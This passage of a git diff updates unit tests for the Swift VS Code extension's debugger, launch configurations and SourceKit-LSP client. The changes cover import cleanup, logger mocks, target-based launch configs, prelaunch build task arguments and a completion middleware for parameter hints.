any).TEST_ONLY_ARGUMENTS; + + expect(filter).to.be.an("array"); + + // Verify test-only arguments are included in the exclusion list + expect(filter.some((f: any) => f.argument === "--no-parallel")).to.be.true; + expect(filter.some((f: any) => f.argument === "--parallel")).to.be.true; + expect(filter.some((f: any) => f.argument === "--filter")).to.be.true; + expect(filter.some((f: any) => f.argument === "--skip")).to.be.true; + expect(filter.some((f: any) => f.argument === "--list-tests")).to.be.true; + expect(filter.some((f: any) => f.argument === "--attachments-path")).to.be.true; + expect(filter.some((f: any) => f.argument === "--enable-testable-imports")).to.be.true; + expect(filter.some((f: any) => f.argument === "--xunit-output")).to.be.true; + }); + + test("does not exclude build-compatible arguments", () => { + // Access the private static property through the class + const filter = (BuildConfigurationFactory as any).TEST_ONLY_ARGUMENTS; + + // Verify build-compatible arguments are NOT in the exclusion list + expect(filter.some((f: any) => f.argument === "--scratch-path")).to.be.false; + expect(filter.some((f: any) => f.argument === "-Xswiftc")).to.be.false; + expect(filter.some((f: any) => f.argument === "--build-system")).to.be.false; + expect(filter.some((f: any) => f.argument === "--sdk")).to.be.false; + expect(filter.some((f: any) => f.argument === "--verbose")).to.be.false; + expect(filter.some((f: any) => f.argument === "--configuration")).to.be.false; + }); + }); +}); diff --git a/test/unit-tests/debugger/debugAdapter.test.ts b/test/unit-tests/debugger/debugAdapter.test.ts index a136db764..c5c802295 100644 --- a/test/unit-tests/debugger/debugAdapter.test.ts +++ b/test/unit-tests/debugger/debugAdapter.test.ts @@ -11,13 +11,14 @@ // SPDX-License-Identifier: Apache-2.0 // //===----------------------------------------------------------------------===// - import { expect } from "chai"; import * as mockFS from "mock-fs"; -import { MockedObject, mockObject, instance, mockGlobalModule } from "../../MockUtils"; -import configuration from "../../../src/configuration"; -import { DebugAdapter, LaunchConfigType } from "../../../src/debugger/debugAdapter"; -import { Version } from "../../../src/utilities/version"; + +import configuration from "@src/configuration"; +import { DebugAdapter, LaunchConfigType } from "@src/debugger/debugAdapter"; +import { Version } from "@src/utilities/version"; + +import { MockedObject, instance, mockGlobalModule, mockObject } from "../../MockUtils"; suite("DebugAdapter Unit Test Suite", () => { const mockConfiguration = mockGlobalModule(configuration); diff --git a/test/unit-tests/debugger/debugAdapterFactory.test.ts b/test/unit-tests/debugger/debugAdapterFactory.test.ts index ade452fe4..2fa04a136 100644 --- a/test/unit-tests/debugger/debugAdapterFactory.test.ts +++ b/test/unit-tests/debugger/debugAdapterFactory.test.ts @@ -11,46 +11,54 @@ // SPDX-License-Identifier: Apache-2.0 // //===----------------------------------------------------------------------===// - -import * as vscode from "vscode"; import { expect } from "chai"; -import { LLDBDebugConfigurationProvider } from "../../../src/debugger/debugAdapterFactory"; -import { Version } from "../../../src/utilities/version"; +import * as mockFS from "mock-fs"; +import * as path from "path"; +import * as vscode from "vscode"; + +import { FolderContext } from "@src/FolderContext"; +import { WorkspaceContext } from "@src/WorkspaceContext"; +import configuration from "@src/configuration"; +import { LaunchConfigType, SWIFT_LAUNCH_CONFIG_TYPE } from "@src/debugger/debugAdapter"; +import * as debugAdapter from "@src/debugger/debugAdapter"; +import { LLDBDebugConfigurationProvider } from "@src/debugger/debugAdapterFactory"; +import * as lldb from "@src/debugger/lldb"; +import { SwiftLogger } from "@src/logging/SwiftLogger"; +import { BuildFlags } from "@src/toolchain/BuildFlags"; +import { SwiftToolchain } from "@src/toolchain/toolchain"; +import { Result } from "@src/utilities/result"; +import { Version } from "@src/utilities/version"; + import { - mockGlobalObject, MockedObject, - mockObject, instance, - mockGlobalModule, mockFn, + mockGlobalModule, + mockGlobalObject, + mockObject, } from "../../MockUtils"; -import * as mockFS from "mock-fs"; -import { LaunchConfigType, SWIFT_LAUNCH_CONFIG_TYPE } from "../../../src/debugger/debugAdapter"; -import * as lldb from "../../../src/debugger/lldb"; -import { SwiftToolchain } from "../../../src/toolchain/toolchain"; -import { SwiftOutputChannel } from "../../../src/ui/SwiftOutputChannel"; -import * as debugAdapter from "../../../src/debugger/debugAdapter"; -import { Result } from "../../../src/utilities/result"; -import configuration from "../../../src/configuration"; -import { WorkspaceContext } from "../../../src/WorkspaceContext"; -import { FolderContext } from "../../../src/FolderContext"; suite("LLDBDebugConfigurationProvider Tests", () => { let mockWorkspaceContext: MockedObject; let mockToolchain: MockedObject; - let mockOutputChannel: MockedObject; + let mockBuildFlags: MockedObject; + let mockLogger: MockedObject; const mockDebugAdapter = mockGlobalObject(debugAdapter, "DebugAdapter"); const mockWindow = mockGlobalObject(vscode, "window"); setup(() => { - mockToolchain = mockObject({ swiftVersion: new Version(6, 0, 0) }); - mockOutputChannel = mockObject({ - log: mockFn(), + mockBuildFlags = mockObject({ getBuildBinaryPath: mockFn() }); + mockToolchain = mockObject({ + swiftVersion: new Version(6, 0, 0), + buildFlags: instance(mockBuildFlags), + }); + mockLogger = mockObject({ + info: mockFn(), }); mockWorkspaceContext = mockObject({ globalToolchain: instance(mockToolchain), globalToolchainSwiftVersion: new Version(6, 0, 0), - outputChannel: instance(mockOutputChannel), + logger: instance(mockLogger), subscriptions: [], folders: [], }); @@ -60,7 +68,7 @@ suite("LLDBDebugConfigurationProvider Tests", () => { const configProvider = new LLDBDebugConfigurationProvider( "darwin", instance(mockWorkspaceContext), - instance(mockOutputChannel) + instance(mockLogger) ); const launchConfig = await configProvider.resolveDebugConfigurationWithSubstitutedVariables( undefined, @@ -78,7 +86,7 @@ suite("LLDBDebugConfigurationProvider Tests", () => { const configProvider = new LLDBDebugConfigurationProvider( "darwin", instance(mockWorkspaceContext), - instance(mockOutputChannel) + instance(mockLogger) ); const launchConfig = await configProvider.resolveDebugConfigurationWithSubstitutedVariables( undefined, @@ -99,7 +107,7 @@ suite("LLDBDebugConfigurationProvider Tests", () => { const configProvider = new LLDBDebugConfigurationProvider( "darwin", instance(mockWorkspaceContext), - instance(mockOutputChannel) + instance(mockLogger) ); const launchConfig = await configProvider.resolveDebugConfigurationWithSubstitutedVariables( undefined, @@ -120,7 +128,7 @@ suite("LLDBDebugConfigurationProvider Tests", () => { const configProvider = new LLDBDebugConfigurationProvider( "darwin", instance(mockWorkspaceContext), - instance(mockOutputChannel) + instance(mockLogger) ); const launchConfig = await configProvider.resolveDebugConfigurationWithSubstitutedVariables( undefined, @@ -134,6 +142,43 @@ suite("LLDBDebugConfigurationProvider Tests", () => { expect(launchConfig).to.be.null; }); + test("sets the 'program' property if a 'target' property is present", async () => { + mockBuildFlags.getBuildBinaryPath.resolves( + "/path/to/swift-executable/.build/arm64-apple-macosx/debug/" + ); + const folder: vscode.WorkspaceFolder = { + index: 0, + name: "swift-executable", + uri: vscode.Uri.file("/path/to/swift-executable"), + }; + const mockedFolderCtx = mockObject({ + workspaceContext: instance(mockWorkspaceContext), + workspaceFolder: folder, + folder: folder.uri, + toolchain: instance(mockToolchain), + relativePath: "./", + }); + mockWorkspaceContext.folders = [instance(mockedFolderCtx)]; + const configProvider = new LLDBDebugConfigurationProvider( + "darwin", + instance(mockWorkspaceContext), + instance(mockLogger) + ); + const launchConfig = await configProvider.resolveDebugConfigurationWithSubstitutedVariables( + folder, + { + name: "Test Launch Config", + type: SWIFT_LAUNCH_CONFIG_TYPE, + request: "launch", + target: "executable", + } + ); + expect(launchConfig).to.have.property( + "program", + path.normalize("/path/to/swift-executable/.build/arm64-apple-macosx/debug/executable") + ); + }); + suite("CodeLLDB selected in settings", () => { let mockLldbConfiguration: MockedObject; const mockLLDB = mockGlobalModule(lldb); @@ -162,7 +207,7 @@ suite("LLDBDebugConfigurationProvider Tests", () => { const configProvider = new LLDBDebugConfigurationProvider( "darwin", instance(mockWorkspaceContext), - instance(mockOutputChannel) + instance(mockLogger) ); const launchConfig = await configProvider.resolveDebugConfigurationWithSubstitutedVariables(undefined, { @@ -180,7 +225,7 @@ suite("LLDBDebugConfigurationProvider Tests", () => { const configProvider = new LLDBDebugConfigurationProvider( "darwin", instance(mockWorkspaceContext), - instance(mockOutputChannel) + instance(mockLogger) ); await expect( configProvider.resolveDebugConfigurationWithSubstitutedVariables(undefined, { @@ -202,7 +247,7 @@ suite("LLDBDebugConfigurationProvider Tests", () => { const configProvider = new LLDBDebugConfigurationProvider( "darwin", instance(mockWorkspaceContext), - instance(mockOutputChannel) + instance(mockLogger) ); await expect( configProvider.resolveDebugConfigurationWithSubstitutedVariables(undefined, { @@ -225,7 +270,7 @@ suite("LLDBDebugConfigurationProvider Tests", () => { const configProvider = new LLDBDebugConfigurationProvider( "darwin", instance(mockWorkspaceContext), - instance(mockOutputChannel) + instance(mockLogger) ); await expect( configProvider.resolveDebugConfigurationWithSubstitutedVariables(undefined, { @@ -260,7 +305,7 @@ suite("LLDBDebugConfigurationProvider Tests", () => { const configProvider = new LLDBDebugConfigurationProvider( "darwin", instance(mockWorkspaceContext), - instance(mockOutputChannel) + instance(mockLogger) ); const launchConfig = await configProvider.resolveDebugConfigurationWithSubstitutedVariables(undefined, { @@ -280,7 +325,7 @@ suite("LLDBDebugConfigurationProvider Tests", () => { const configProvider = new LLDBDebugConfigurationProvider( "darwin", instance(mockWorkspaceContext), - instance(mockOutputChannel) + instance(mockLogger) ); await expect( configProvider.resolveDebugConfigurationWithSubstitutedVariables(undefined, { @@ -297,7 +342,7 @@ suite("LLDBDebugConfigurationProvider Tests", () => { const configProvider = new LLDBDebugConfigurationProvider( "win32", instance(mockWorkspaceContext), - instance(mockOutputChannel) + instance(mockLogger) ); const launchConfig = await configProvider.resolveDebugConfigurationWithSubstitutedVariables(undefined, { @@ -315,7 +360,7 @@ suite("LLDBDebugConfigurationProvider Tests", () => { const configProvider = new LLDBDebugConfigurationProvider( "win32", instance(mockWorkspaceContext), - instance(mockOutputChannel) + instance(mockLogger) ); const launchConfig = await configProvider.resolveDebugConfigurationWithSubstitutedVariables(undefined, { @@ -333,7 +378,7 @@ suite("LLDBDebugConfigurationProvider Tests", () => { const configProvider = new LLDBDebugConfigurationProvider( "darwin", instance(mockWorkspaceContext), - instance(mockOutputChannel) + instance(mockLogger) ); const launchConfig = await configProvider.resolveDebugConfigurationWithSubstitutedVariables(undefined, { @@ -351,7 +396,7 @@ suite("LLDBDebugConfigurationProvider Tests", () => { const configProvider = new LLDBDebugConfigurationProvider( "linux", instance(mockWorkspaceContext), - instance(mockOutputChannel) + instance(mockLogger) ); const launchConfig = await configProvider.resolveDebugConfigurationWithSubstitutedVariables(undefined, { @@ -369,7 +414,7 @@ suite("LLDBDebugConfigurationProvider Tests", () => { const configProvider = new LLDBDebugConfigurationProvider( "darwin", instance(mockWorkspaceContext), - instance(mockOutputChannel) + instance(mockLogger) ); const launchConfig = await configProvider.resolveDebugConfigurationWithSubstitutedVariables(undefined, { @@ -391,7 +436,7 @@ suite("LLDBDebugConfigurationProvider Tests", () => { const configProvider = new LLDBDebugConfigurationProvider( "darwin", instance(mockWorkspaceContext), - instance(mockOutputChannel) + instance(mockLogger) ); const launchConfig = await configProvider.resolveDebugConfigurationWithSubstitutedVariables(undefined, { @@ -407,13 +452,14 @@ suite("LLDBDebugConfigurationProvider Tests", () => { const configProvider = new LLDBDebugConfigurationProvider( "darwin", instance(mockWorkspaceContext), - instance(mockOutputChannel) + instance(mockLogger) ); const launchConfig = await configProvider.resolveDebugConfigurationWithSubstitutedVariables(undefined, { type: SWIFT_LAUNCH_CONFIG_TYPE, request: "launch", name: "Test Launch", + program: "/path/to/some/program", env: {}, }); @@ -429,13 +475,14 @@ suite("LLDBDebugConfigurationProvider Tests", () => { const configProvider = new LLDBDebugConfigurationProvider( "darwin", instance(mockWorkspaceContext), - instance(mockOutputChannel) + instance(mockLogger) ); const launchConfig = await configProvider.resolveDebugConfigurationWithSubstitutedVariables(undefined, { type: SWIFT_LAUNCH_CONFIG_TYPE, request: "launch", name: "Test Launch", + program: "/path/to/some/program", env, }); @@ -468,7 +515,7 @@ suite("LLDBDebugConfigurationProvider Tests", () => { const configProvider = new LLDBDebugConfigurationProvider( "darwin", instance(mockWorkspaceContext), - instance(mockOutputChannel) + instance(mockLogger) ); const launchConfig = await configProvider.resolveDebugConfigurationWithSubstitutedVariables( { diff --git a/test/unit-tests/debugger/launch.test.ts b/test/unit-tests/debugger/launch.test.ts index 693b4d5e8..39ec0653b 100644 --- a/test/unit-tests/debugger/launch.test.ts +++ b/test/unit-tests/debugger/launch.test.ts @@ -11,22 +11,23 @@ // SPDX-License-Identifier: Apache-2.0 // //===----------------------------------------------------------------------===// - -import * as vscode from "vscode"; import { expect } from "chai"; -import configuration, { FolderConfiguration } from "../../../src/configuration"; -import { makeDebugConfigurations } from "../../../src/debugger/launch"; -import { FolderContext } from "../../../src/FolderContext"; +import * as vscode from "vscode"; + +import { FolderContext } from "@src/FolderContext"; +import { Product, SwiftPackage } from "@src/SwiftPackage"; +import configuration, { FolderConfiguration } from "@src/configuration"; +import { SWIFT_LAUNCH_CONFIG_TYPE } from "@src/debugger/debugAdapter"; +import { makeDebugConfigurations, swiftPrelaunchBuildTaskArguments } from "@src/debugger/launch"; + import { - instance, MockedObject, + instance, mockFn, mockGlobalModule, mockGlobalObject, mockObject, } from "../../MockUtils"; -import { Product, SwiftPackage } from "../../../src/SwiftPackage"; -import { SWIFT_LAUNCH_CONFIG_TYPE } from "../../../src/debugger/debugAdapter"; suite("Launch Configurations Test", () => { const mockConfiguration = mockGlobalModule(configuration); @@ -76,7 +77,8 @@ suite("Launch Configurations Test", () => { args: [], cwd: "${workspaceFolder:folder}", name: "Debug executable", - program: "${workspaceFolder:folder}/.build/debug/executable", + target: "executable", + configuration: "debug", preLaunchTask: "swift: Build Debug executable", }, { @@ -85,7 +87,8 @@ suite("Launch Configurations Test", () => { args: [], cwd: "${workspaceFolder:folder}", name: "Release executable", - program: "${workspaceFolder:folder}/.build/release/executable", + target: "executable", + configuration: "release", preLaunchTask: "swift: Build Release executable", }, ], @@ -114,7 +117,8 @@ suite("Launch Configurations Test", () => { args: [], cwd: "${workspaceFolder:folder}", name: "Debug executable", - program: "${workspaceFolder:folder}/.build/debug/executable", + target: "executable", + configuration: "debug", preLaunchTask: "swift: Build Debug executable", }, { @@ -123,7 +127,8 @@ suite("Launch Configurations Test", () => { args: [], cwd: "${workspaceFolder:folder}", name: "Release executable", - program: "${workspaceFolder:folder}/.build/release/executable", + target: "executable", + configuration: "release", preLaunchTask: "swift: Build Release executable", }, ], @@ -139,7 +144,8 @@ suite("Launch Configurations Test", () => { args: [], cwd: "${workspaceFolder:folder}", name: "Debug executable", - program: "${workspaceFolder:folder}/.build/debug/executable", + target: "executable", + configuration: "debug", preLaunchTask: "swift: Build Debug executable", }, { @@ -148,7 +154,8 @@ suite("Launch Configurations Test", () => { args: [], cwd: "${workspaceFolder:folder}", name: "Release executable", - program: "${workspaceFolder:folder}/.build/release/executable", + target: "executable", + configuration: "release", preLaunchTask: "swift: Build Release executable", }, ]); @@ -163,7 +170,8 @@ suite("Launch Configurations Test", () => { args: [], cwd: "${workspaceFolder:folder}", name: "Debug executable", - program: "${workspaceFolder:folder}/.build/debug/executable", + target: "executable", + configuration: "debug", preLaunchTask: "swift: Build Debug executable", }, { @@ -172,7 +180,8 @@ suite("Launch Configurations Test", () => { args: [], cwd: "${workspaceFolder:folder}", name: "Release executable", - program: "${workspaceFolder:folder}/.build/release/executable", + target: "executable", + configuration: "release", preLaunchTask: "swift: Build Release executable", }, ], @@ -189,7 +198,8 @@ suite("Launch Configurations Test", () => { args: [], cwd: "${workspaceFolder:folder}", name: "Debug executable", - program: "${workspaceFolder:folder}/.build/debug/executable", + target: "executable", + configuration: "debug", preLaunchTask: "swift: Build Debug executable", }, { @@ -198,7 +208,8 @@ suite("Launch Configurations Test", () => { args: [], cwd: "${workspaceFolder:folder}", name: "Release executable", - program: "${workspaceFolder:folder}/.build/release/executable", + target: "executable", + configuration: "release", preLaunchTask: "swift: Build Release executable", }, ]); @@ -216,7 +227,8 @@ suite("Launch Configurations Test", () => { args: [], cwd: "${workspaceFolder:folder}", name: "Debug executable", - program: "${workspaceFolder:folder}/.build/debug/executable", + target: "executable", + configuration: "debug", preLaunchTask: "swift: Build Debug executable", }, { @@ -225,7 +237,8 @@ suite("Launch Configurations Test", () => { args: [], cwd: "${workspaceFolder:folder}", name: "Release executable", - program: "${workspaceFolder:folder}/.build/release/executable", + target: "executable", + configuration: "release", preLaunchTask: "swift: Build Release executable", }, ]); @@ -241,7 +254,8 @@ suite("Launch Configurations Test", () => { args: [], cwd: "${workspaceFolder:folder}", name: "Debug executable", - program: "${workspaceFolder:folder}/.build/debug/executable", + target: "executable", + configuration: "debug", preLaunchTask: "swift: Build Debug executable", }, { @@ -250,7 +264,8 @@ suite("Launch Configurations Test", () => { args: [], cwd: "${workspaceFolder:folder}", name: "Release executable", - program: "${workspaceFolder:folder}/.build/release/executable", + target: "executable", + configuration: "release", preLaunchTask: "swift: Build Release executable", }, ], @@ -266,7 +281,8 @@ suite("Launch Configurations Test", () => { args: [], cwd: "${workspaceFolder:folder}", name: "Debug executable", - program: "${workspaceFolder:folder}/.build/debug/executable", + target: "executable", + configuration: "debug", preLaunchTask: "swift: Build Debug executable", }, { @@ -275,7 +291,8 @@ suite("Launch Configurations Test", () => { args: [], cwd: "${workspaceFolder:folder}", name: "Release executable", - program: "${workspaceFolder:folder}/.build/release/executable", + target: "executable", + configuration: "release", preLaunchTask: "swift: Build Release executable", }, ]); @@ -284,3 +301,151 @@ suite("Launch Configurations Test", () => { expect(mockLaunchWSConfig.update).to.not.have.been.called; }); }); + +suite("Swift PreLaunch Build Task Arguments Test", () => { + const mockTasks = mockGlobalObject(vscode, "tasks"); + + setup(() => { + // Reset mocks before each test + mockTasks.fetchTasks.reset(); + }); + + test("swiftPrelaunchBuildTaskArguments returns task args for Swift build task", async () => { + const expectedArgs = ["build", "--product", "executable", "--build-system"]; + const mockTask = mockObject({ + name: "swift: Build Debug executable", + definition: { + type: "swift", + args: expectedArgs, + }, + scope: vscode.TaskScope.Workspace, + source: "swift", + isBackground: false, + presentationOptions: {}, + problemMatchers: [], + runOptions: {}, + }); + + mockTasks.fetchTasks.resolves([instance(mockTask)]); + + const launchConfig: vscode.DebugConfiguration = { + type: "swift", + request: "launch", + name: "Debug executable", + preLaunchTask: "swift: Build Debug executable", + }; + + const result = await swiftPrelaunchBuildTaskArguments(launchConfig); + expect(result).to.deep.equal(expectedArgs); + }); + + test("swiftPrelaunchBuildTaskArguments returns undefined for non-Swift task", async () => { + const mockTask = mockObject({ + name: "npm: build", + definition: { + type: "npm", + args: ["run", "build"], + }, + scope: vscode.TaskScope.Workspace, + source: "npm", + isBackground: false, + presentationOptions: {}, + problemMatchers: [], + runOptions: {}, + }); + + mockTasks.fetchTasks.resolves([instance(mockTask)]); + + const launchConfig: vscode.DebugConfiguration = { + type: "swift", + request: "launch", + name: "Debug executable", + preLaunchTask: "npm: build", + }; + + const result = await swiftPrelaunchBuildTaskArguments(launchConfig); + expect(result).to.be.undefined; + }); + + test("swiftPrelaunchBuildTaskArguments returns undefined for Swift task without build arg", async () => { + const mockTask = mockObject({ + name: "swift: Test", + definition: { + type: "swift", + args: ["test", "--build-system"], + }, + scope: vscode.TaskScope.Workspace, + source: "swift", + isBackground: false, + presentationOptions: {}, + problemMatchers: [], + runOptions: {}, + }); + + mockTasks.fetchTasks.resolves([instance(mockTask)]); + + const launchConfig: vscode.DebugConfiguration = { + type: "swift", + request: "launch", + name: "Debug executable", + preLaunchTask: "swift: Test", + }; + + const result = await swiftPrelaunchBuildTaskArguments(launchConfig); + expect(result).to.be.undefined; + }); + + test("swiftPrelaunchBuildTaskArguments returns undefined for launch config without preLaunchTask", async () => { + const launchConfig: vscode.DebugConfiguration = { + type: "swift", + request: "launch", + name: "Debug executable", + }; + + const result = await swiftPrelaunchBuildTaskArguments(launchConfig); + expect(result).to.be.undefined; + }); + + test("swiftPrelaunchBuildTaskArguments handles errors gracefully", async () => { + mockTasks.fetchTasks.rejects(new Error("Failed to fetch tasks")); + + const launchConfig: vscode.DebugConfiguration = { + type: "swift", + request: "launch", + name: "Debug executable", + preLaunchTask: "swift: Build Debug executable", + }; + + const result = await swiftPrelaunchBuildTaskArguments(launchConfig); + expect(result).to.be.undefined; + }); + + test("swiftPrelaunchBuildTaskArguments handles task name variations", async () => { + const expectedArgs = ["build", "--product", "executable", "--build-system"]; + const mockTask = mockObject({ + name: "Build Debug executable", + definition: { + type: "swift", + args: expectedArgs, + }, + scope: vscode.TaskScope.Workspace, + source: "swift", + isBackground: false, + presentationOptions: {}, + problemMatchers: [], + runOptions: {}, + }); + + mockTasks.fetchTasks.resolves([instance(mockTask)]); + + const launchConfig: vscode.DebugConfiguration = { + type: "swift", + request: "launch", + name: "Debug executable", + preLaunchTask: "swift: Build Debug executable", + }; + + const result = await swiftPrelaunchBuildTaskArguments(launchConfig); + expect(result).to.deep.equal(expectedArgs); + }); +}); diff --git a/test/unit-tests/debugger/lldb.test.ts b/test/unit-tests/debugger/lldb.test.ts index c3bd582df..91c61c69a 100644 --- a/test/unit-tests/debugger/lldb.test.ts +++ b/test/unit-tests/debugger/lldb.test.ts @@ -11,22 +11,23 @@ // SPDX-License-Identifier: Apache-2.0 // //===----------------------------------------------------------------------===// - -import * as util from "../../../src/utilities/utilities"; -import * as lldb from "../../../src/debugger/lldb"; +import { expect } from "chai"; import * as fs from "fs/promises"; import * as sinon from "sinon"; -import { expect } from "chai"; + +import * as lldb from "@src/debugger/lldb"; +import { SwiftToolchain } from "@src/toolchain/toolchain"; +import * as util from "@src/utilities/utilities"; + import { - instance, + MockedFunction, MockedObject, + instance, mockFn, mockGlobalModule, - mockObject, - MockedFunction, mockGlobalValue, + mockObject, } from "../../MockUtils"; -import { SwiftToolchain } from "../../../src/toolchain/toolchain"; suite("debugger.lldb Tests", () => { suite("getLLDBLibPath Tests", () => { diff --git a/test/unit-tests/sourcekit-lsp/LanguageClientManager.test.ts b/test/unit-tests/sourcekit-lsp/LanguageClientManager.test.ts index 85151a22c..0fe5b4b5d 100644 --- a/test/unit-tests/sourcekit-lsp/LanguageClientManager.test.ts +++ b/test/unit-tests/sourcekit-lsp/LanguageClientManager.test.ts @@ -11,45 +11,49 @@ // SPDX-License-Identifier: Apache-2.0 // //===----------------------------------------------------------------------===// - -import * as vscode from "vscode"; -import * as path from "path"; import { expect } from "chai"; +import * as path from "path"; import { match } from "sinon"; -import { FolderEvent, FolderOperation, WorkspaceContext } from "../../../src/WorkspaceContext"; -import { Version } from "../../../src/utilities/version"; -import { SwiftToolchain } from "../../../src/toolchain/toolchain"; -import { BuildFlags } from "../../../src/toolchain/BuildFlags"; -import { SwiftOutputChannel } from "../../../src/ui/SwiftOutputChannel"; -import { - MockedObject, - mockObject, - instance, - mockGlobalModule, - waitForReturnedPromises, - AsyncEventEmitter, - mockGlobalObject, - mockGlobalValue, - mockFn, -} from "../../MockUtils"; +import * as vscode from "vscode"; import { Code2ProtocolConverter, DidChangeWorkspaceFoldersNotification, DidChangeWorkspaceFoldersParams, LanguageClient, + Middleware, State, StateChangeEvent, } from "vscode-languageclient/node"; -import { LanguageClientManager } from "../../../src/sourcekit-lsp/LanguageClientManager"; -import { LanguageClientToolchainCoordinator } from "../../../src/sourcekit-lsp/LanguageClientToolchainCoordinator"; -import configuration from "../../../src/configuration"; -import { FolderContext } from "../../../src/FolderContext"; -import { LanguageClientFactory } from "../../../src/sourcekit-lsp/LanguageClientFactory"; -import { LSPActiveDocumentManager } from "../../../src/sourcekit-lsp/didChangeActiveDocument"; + +import { FolderContext } from "@src/FolderContext"; +import { FolderEvent, FolderOperation, WorkspaceContext } from "@src/WorkspaceContext"; +import configuration from "@src/configuration"; +import { SwiftLogger } from "@src/logging/SwiftLogger"; +import { SwiftLoggerFactory } from "@src/logging/SwiftLoggerFactory"; +import { SwiftOutputChannel } from "@src/logging/SwiftOutputChannel"; +import { LanguageClientFactory } from "@src/sourcekit-lsp/LanguageClientFactory"; +import { LanguageClientManager } from "@src/sourcekit-lsp/LanguageClientManager"; +import { LanguageClientToolchainCoordinator } from "@src/sourcekit-lsp/LanguageClientToolchainCoordinator"; +import { LSPActiveDocumentManager } from "@src/sourcekit-lsp/didChangeActiveDocument"; import { DidChangeActiveDocumentNotification, DidChangeActiveDocumentParams, -} from "../../../src/sourcekit-lsp/extensions/DidChangeActiveDocumentRequest"; +} from "@src/sourcekit-lsp/extensions/DidChangeActiveDocumentRequest"; +import { BuildFlags } from "@src/toolchain/BuildFlags"; +import { SwiftToolchain } from "@src/toolchain/toolchain"; +import { Version } from "@src/utilities/version"; + +import { + AsyncEventEmitter, + MockedObject, + instance, + mockFn, + mockGlobalModule, + mockGlobalObject, + mockGlobalValue, + mockObject, + waitForReturnedPromises, +} from "../../MockUtils"; suite("LanguageClientManager Suite", () => { let languageClientFactoryMock: MockedObject; @@ -59,7 +63,8 @@ suite("LanguageClientManager Suite", () => { let mockedWorkspace: MockedObject; let mockedFolder: MockedObject; let didChangeFoldersEmitter: AsyncEventEmitter; - let mockedOutputChannel: MockedObject; + let mockLogger: MockedObject; + let mockLoggerFactory: MockedObject; let mockedToolchain: MockedObject; let mockedBuildFlags: MockedObject; @@ -109,10 +114,12 @@ suite("LanguageClientManager Suite", () => { s.withArgs("sourcekit-lsp").returns("/path/to/toolchain/bin/sourcekit-lsp") ), }); - mockedOutputChannel = mockObject({ - log: s => s, - logDiagnostic: s => s, - appendLine: () => {}, + mockLogger = mockObject({ + info: s => s, + debug: s => s, + }); + mockLoggerFactory = mockObject({ + create: mockFn(s => s.returns(mockObject({}))), }); didChangeFoldersEmitter = new AsyncEventEmitter(); mockedFolder = mockObject({ @@ -127,7 +134,8 @@ suite("LanguageClientManager Suite", () => { mockObject({ globalToolchain: instance(mockedToolchain), globalToolchainSwiftVersion: new Version(6, 0, 0), - outputChannel: instance(mockedOutputChannel), + logger: instance(mockLogger), + loggerFactory: instance(mockLoggerFactory), }) ), swiftVersion: new Version(6, 0, 0), @@ -136,7 +144,8 @@ suite("LanguageClientManager Suite", () => { mockedWorkspace = mockObject({ globalToolchain: instance(mockedToolchain), globalToolchainSwiftVersion: new Version(6, 0, 0), - outputChannel: instance(mockedOutputChannel), + logger: instance(mockLogger), + loggerFactory: instance(mockLoggerFactory), subscriptions: [], folders: [instance(mockedFolder)], onDidChangeFolders: mockFn(s => s.callsFake(didChangeFoldersEmitter.event)), @@ -151,7 +160,7 @@ suite("LanguageClientManager Suite", () => { code2ProtocolConverter: instance(mockedConverter), clientOptions: {}, outputChannel: instance( - mockObject({ + mockObject({ dispose: mockFn(), }) ), @@ -590,6 +599,213 @@ suite("LanguageClientManager Suite", () => { ]); }); + suite("provideCompletionItem middleware", () => { + const mockParameterHintsEnabled = mockGlobalValue(configuration, "parameterHintsEnabled"); + let document: MockedObject; + let middleware: Middleware; + + setup(async () => { + mockParameterHintsEnabled.setValue(() => true); + + document = mockObject({ + uri: vscode.Uri.file("/test/file.swift"), + }); + + new LanguageClientToolchainCoordinator( + instance(mockedWorkspace), + {}, + languageClientFactoryMock + ); + + await waitForReturnedPromises(languageClientMock.start); + + middleware = languageClientFactoryMock.createLanguageClient.args[0][3].middleware!; + }); + + test("adds parameter hints command to function completion items when enabled", async () => { + const completionItemsFromLSP = async (): Promise => { + return [ + { + label: "post(endpoint: String, body: [String : Any]?)", + detail: "NetworkRequest", + kind: vscode.CompletionItemKind.EnumMember, + }, + { + label: "defaultHeaders", + detail: "[String : String]", + kind: vscode.CompletionItemKind.Property, + }, + { + label: "makeRequest(for: NetworkRequest)", + detail: "String", + kind: vscode.CompletionItemKind.Function, + }, + { + label: "[endpoint: String]", + detail: "NetworkRequest", + kind: vscode.CompletionItemKind.Method, + }, + { + label: "(endpoint: String, method: String)", + detail: "NetworkRequest", + kind: vscode.CompletionItemKind.Constructor, + }, + ]; + }; + + expect(middleware).to.have.property("provideCompletionItem"); + + const result = await middleware.provideCompletionItem!( + instance(document), + new vscode.Position(0, 0), + {} as any, + {} as any, + completionItemsFromLSP + ); + + expect(result).to.deep.equal([ + { + label: "post(endpoint: String, body: [String : Any]?)", + detail: "NetworkRequest", + kind: vscode.CompletionItemKind.EnumMember, + command: { + title: "Trigger Parameter Hints", + command: "editor.action.triggerParameterHints", + }, + }, + { + label: "defaultHeaders", + detail: "[String : String]", + kind: vscode.CompletionItemKind.Property, + }, + { + label: "makeRequest(for: NetworkRequest)", + detail: "String", + kind: vscode.CompletionItemKind.Function, + command: { + title: "Trigger Parameter Hints", + command: "editor.action.triggerParameterHints", + }, + }, + { + label: "[endpoint: String]", + detail: "NetworkRequest", + kind: vscode.CompletionItemKind.Method, + command: { + title: "Trigger Parameter Hints", + command: "editor.action.triggerParameterHints", + }, + }, + { + label: "(endpoint: String, method: String)", + detail: "NetworkRequest", + kind: vscode.CompletionItemKind.Constructor, + command: { + title: "Trigger Parameter Hints", + command: "editor.action.triggerParameterHints", + }, + }, + ]); + }); + + test("does not add parameter hints command when disabled", async () => { + mockParameterHintsEnabled.setValue(() => false); + + const completionItems = [ + { + label: "makeRequest(for: NetworkRequest)", + detail: "String", + kind: vscode.CompletionItemKind.Function, + }, + { + label: "[endpoint: String]", + detail: "NetworkRequest", + kind: vscode.CompletionItemKind.Method, + }, + ]; + + const completionItemsFromLSP = async (): Promise => { + return completionItems; + }; + + const result = await middleware.provideCompletionItem!( + instance(document), + new vscode.Position(0, 0), + {} as any, + {} as any, + completionItemsFromLSP + ); + + expect(result).to.deep.equal(completionItems); + }); + + test("handles CompletionList result format", async () => { + const completionListFromLSP = async (): Promise => { + return { + isIncomplete: false, + items: [ + { + label: "defaultHeaders", + detail: "[String : String]", + kind: vscode.CompletionItemKind.Property, + }, + { + label: "makeRequest(for: NetworkRequest)", + detail: "String", + kind: vscode.CompletionItemKind.Function, + 